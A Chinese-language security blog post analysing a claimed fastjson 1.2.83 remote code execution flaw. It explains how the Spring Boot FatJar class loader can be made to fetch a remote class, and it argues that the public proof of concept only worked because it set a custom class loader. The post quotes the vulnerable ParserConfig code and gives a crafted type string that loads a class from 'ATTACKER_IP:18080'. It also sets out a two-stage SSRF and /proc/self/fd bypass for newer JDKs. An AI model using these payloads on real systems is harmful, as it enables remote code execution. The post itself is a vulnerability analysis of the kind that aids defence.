2026年了,核弹还是fastjson,fastjson1.2.83 RCE是怎么回事?
7月19日,推上的一名安全研究员声称,他发现了一个在fastjson 1.2.83版本中无需gadget的RCE漏洞。一时间激起千帆浪。Fastjson虽然已经停止维护1版本,但是 2026-7-21 10:29:15 Author: lorexxar.cn(查看原文) 阅读量:9 收藏

7月19日,推上的一名安全研究员声称,他发现了一个在fastjson 1.2.83版本中无需gadget的RCE漏洞。一时间激起千帆浪。

Fastjson虽然已经停止维护1版本,但是1版本的Fj依旧是互联网上应用最多的Java JSON库之一,虽然1.2.83没有在维护,但是在长期和fastjson对抗的时间里,83版本仅可以基于expectClass和第三方库构成的gadget做的极其有限的攻击利用,几乎无法RCE,所以很多厂家没有选择更新到FJ2增加不确定性。

虽然不确定这个漏洞是否来自于ai,但是在过去的1天多时间内,基于作者的部分信息,大家正在逐渐探索漏洞的真相。那么真相到底是什么?

在这篇推文激起了外网的讨论之后,原作者逐渐公布了一些关于漏洞的信息

  • 该漏洞影响fastjson 1.2.68 -> 1.2.83
  • 与autoType无关,只有启用SafeMode或者迁移到Fastjosn 2.x来解决

  • 不需要指定expectClass,不需要控制第二个参数,也不是走我们以往基于白名单类的绕过途径

  • 这个漏洞至少影响互联网上最常见的3个版本,8,17,21

在这样的基础上,很多安全研究者开启了AI时代最有效的推进分析,真相被一点点剥开水面

事情破局的第一步很快到来,github上有人直接分享了该漏洞的poc(这个poc已经404了),由于我已经没有截图了,甚至这个poc的推送作者是Codex,非常搞笑

在这片文章里提到了一个很有趣的方案

Fastjson通过 Spring Boot FatJar 的 LaunchedURLClassLoader 来远程加载带有@JSONType注解的类,最终远程代码执行。无论是否开启autoType。

在 Spring Boot FatJar 环境中时,LaunchedURLClassLoader 会将类资源路径解释为 jar:http:// URL,从而触发远程 HTTP 请求下载恶意 JAR,最终实现远程类加载和代码执行。

  • 除了fastjson,还要求有springboot
  • 应用以 Spring Boot FatJar 方式运行(使用 LaunchedURLClassLoader)
  • JDK 版本为 8

以下是Poc原文给出的依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
<fastjson.version>1.2.83</fastjson.version>
<spring.boot.loader.version>2.7.18</spring.boot.loader.version>
<asm.version>9.6</asm.version>
</properties>

<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>${fastjson.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-loader</artifactId>
<version>${spring.boot.loader.version}</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>${asm.version}</version>
</dependency>
</dependencies>

漏洞的实际利用很简单

在ParserConfig中,有这样一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

boolean jsonType = false;
InputStream is = null;
try {

String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }

if (autoTypeSupport || jsonType || expectClassFlag) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

fastjson会把请求中的.替换成/,然后拼接上.class之后加载。

本意是把类似于正常的包,转为路径加载

1
2
3
4
5
@type = "com.example.MyModel"
→ replace('.', '/') → "com/example/MyModel.class"
→ getResourceAsStream → 从本地 classpath 加载
→ 检测 @JSONType → 信任
→ loadClass → 正常业务类

但是这里就出现了几个华点

由于请求中的.替换成/,那么就可以通过构造.来绕过正常的限制

1
2
3
4
5
6
7
输入jar:http:..ATTACKER_IP:18080.exploit!.Payload
其中http:..转化为http:
其中ATTACKER_IP:18080.exploit转化为ATTACKER_IP:18080/exploit
其中!.转化为!/

最后一个问题是ip里的.也会被转义,那么更简单直接用整形ip
2130706433:18080 -> 127.0.0.1:18080

所以最后通过巧妙的构造就可以实现远程加载poc

上一个poc由3个部分构成

1、replace('.', '/')的意外导致了巧妙的构建,绕过了对于/的限制,也侧面绕开了对于远程加载的限制

1
2
3
4
5
6
7
8

private ProtectionDomain preDefineClass(String name, ProtectionDomain pd) {
...
if (name.indexOf('/') != -1) {
throw new NoClassDefFoundError("IllegalName: " + name);
}
...
}

2、Spring Boot 的类加载器能解析 jar:http:// 嵌套 URL(这是 Spring Boot FatJar 加载嵌套 JAR 的正常功能)

3、@JSONType 注解这个路径入口没有被额外限制,允许远程加载

这条链路远程加载回来的类被defineClass后,静态初始化块<clinit>会立即执行,不会走到后续的类型绑定,所以其他的限制也无效。

1
parseObject(body, Dto.class) 生效之前的probe阶段就执行

但是问题接踵而至,如果原漏洞使用了这个路径,那么在高于JDK8的版本有这样一个限制

1
2
3
4
5
6
7
8
9
10
Class<?> loadClassInLaunchedClassLoader(String name) {
String resource = name.replace('.', '/') + ".class";


InputStream is = getParent().getResourceAsStream(resource);


byte[] bytes = readAll(is);
return defineClass(name, bytes, 0, bytes.length);
}

在远程加载成功之后,紧接着defineclass,不同版本的jdk会有不同的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
defineClass(name, 字节码bytes)

├─ Java层: preDefineClass
│ checkName(name参数)
│ → 校验的是 传入的name字符串
│ → 点号形式没有/,通过

└─ native层: defineClass1 → parseClassFile

├─ 第一轮: 把字节码解析成常量池结构
│ → 此时常量池里的类名是字节码原始值
│ → 即 "jar:http://a/b/c!/Foo"(JVM内部格式,用/分隔)

└─ 第二轮: 遍历常量池,校验每个条目格式
遇到 CONSTANT_UnresolvedClass 时:
→ verify_legal_class_name(常量池中的类名)
→ verify_unqualified_name()
JDK 8: 只禁 . ; [ → http:
JDK 9+: 加禁连续

这个限制让超过JDK8的版本只能触发ssrf,无法直接远程加载。

简单来说就是无法绕过高版本对于defineClass判定的限制。getResourceAsStream可以实现远程加载,但是defineClass判定的时候类名校验失败。

于是衍生出了第二个高版本利用的方案,用jar:file:来绕过双斜杠的协议协议。

1
2
3
4
5
6
7
8
9
10
阶段一:SSRF 下载 JAR 到本地
getResourceAsStream("jar:http://attacker/probe!/POC.class")
→ 标准 ClassLoader 返回 null,但 LaunchedURLClassLoader
的底层 URL 解析机制会触发 HTTP 请求(下载 JAR 到临时文件)
→ JAR 落盘到 /tmp 或内存中,拿到文件描述符 fd/N

阶段二:本地加载
getResourceAsStream("jar:file:/proc/self/fd/N!/POC.class")
→ 本地文件,单斜杠,通过 verify_unqualified_name
→ defineClass 成功,<clinit> 执行

也就是用ssrf来抓取文件到临时文件,然后遍历fd寻找这个临时文件,通过jarfile协议加载,这样就可以绕过高版本对于//的额外限制,顺利的在高版本做利用。

但是有没有觉得好像哪里都不太对?

在顺着分析了上一个poc的详细流程以及链路之后,我想所有人应该都会得出一个问题就是,为什么会有这样一个远程加载的classloader呢?

很显然,原文在探索这个链路的时候,自己构造了一个Classloader来闭环整个链路

1
2
3
4
5
6
7
8
ClassLoader urlNameClassLoader = new ClassLoader(null) {
@Override
public InputStream getResourceAsStream(String name) {
return new URL(name).openStream();
}
};
config.setDefaultClassLoader(urlNameClassLoader);
config.checkAutoType(TYPE, null);

在这个 PoC 中,getResourceAsStream() 接收到的 name 会直接交给 new URL(name) 解析;如果 name 是一个远程 URL,就可能发起网络请求并读取远端内容。因此,后续链路才能闭环。

普通的Classloader,常规功能是在本地 classpath 里寻找对应的文件,找不到就返回null。所以大部分的Classloader并不支持这样一条链路。

SpringBoot Fat Jar算是一个特例,LaunchedURLClassLoader.findResource直接把name喂回了URLClassLoader,而URLClassPath的通用Loader将name根据不同格式解析,最后构成了利用链路。

1
2
3
URLClassLoader.findResource(name)
-> URLClassPath.findResource(name)
-> 针对每个 classpath 根选择 Loader

那么又有了一个新的问题,除了SpringBoot Fat Jar,其他的URLClassLoader为什么不会远程加载?尤其是Tomcat正常的WebappClassLoader也继承自URLClassLoader,并且JDK远程就支持jar协议,那为什么Tomcat下无法利用呢?

这是因为Tomcat的WebappClassLoader,在资源查找的时候,根本不会走URLClassPath,会直接走WebResourceRoot然后在本地查找,查找失败直接返回null

1
2
3
4
5
String path = nameToPath(name);
resource = resources.getClassLoaderResource(path);
if (resource.exists()) {
url = resource.getURL();
}

所以这个漏洞在默认Tomcat环境中无法利用,因为Fastjson会优先走到tomcat去

1
2
TomcatEmbeddedWebappClassLoader.getResourceAsStream("jar:http://...")  
→ WebappClassLoaderBase.getResource

除此之外,你想要走通这条链路。

还必须要求当前URLClassPath必须包含可以走通用Loader的根,否则默认走FileLoader或者 JarLoader 同样无法触发该利用链。

而Spring Boot 可执行 Fat Jar 为了能在单Jar中加载依赖。他会构造类似于jar:file的嵌套根

1
jar:file:/path/app.jar!/BOOT-INF/classes!/

而这种非file协议的根,在

Spring Boot Fat Jar 是已知容易满足该 URL 解析条件的环境之一,这样一来漏洞的影响力骤降。

而在最早的poc原文当中,是因为手动指定把 defaultClassLoader 设成了 LaunchedURLClassLoader

1
2
ParserConfig config = new ParserConfig();
config.setDefaultClassLoader(fatClassLoader);

所以他可以在任何场景下利用,也是AI干的好事。

这样一来,这个漏洞的限定条件就变成了

  • 该fastjson环境下的默认Classloader,继承URLClassLoader(或复用 URLClassPath),没有做额外的URLLoader限制,并且当前URLClasspath必须包含可以走通用Loader的URL根,即可存在利用

那么问题来了,是不是存在一个漏洞符合原文的信息,他依旧存在于1.2.83中呢?

客观来说不知道,也许真的有一个不要求Springboot的链路,甚至压根不是这条路径的链路漏洞存在,在AI时代,或许纯粹靠AI发散挖掘漏洞很困难,但是AI特有的信息整合能力,再一次一次对传统安全做着冲击和挑战,这几天还有好几个漏洞也是类似的场景,后面的文章再详细聊。


文章来源: https://lorexxar.cn/2026/07/21/fs1-2-83rce/
如有侵权请联系:admin#unsafe.sh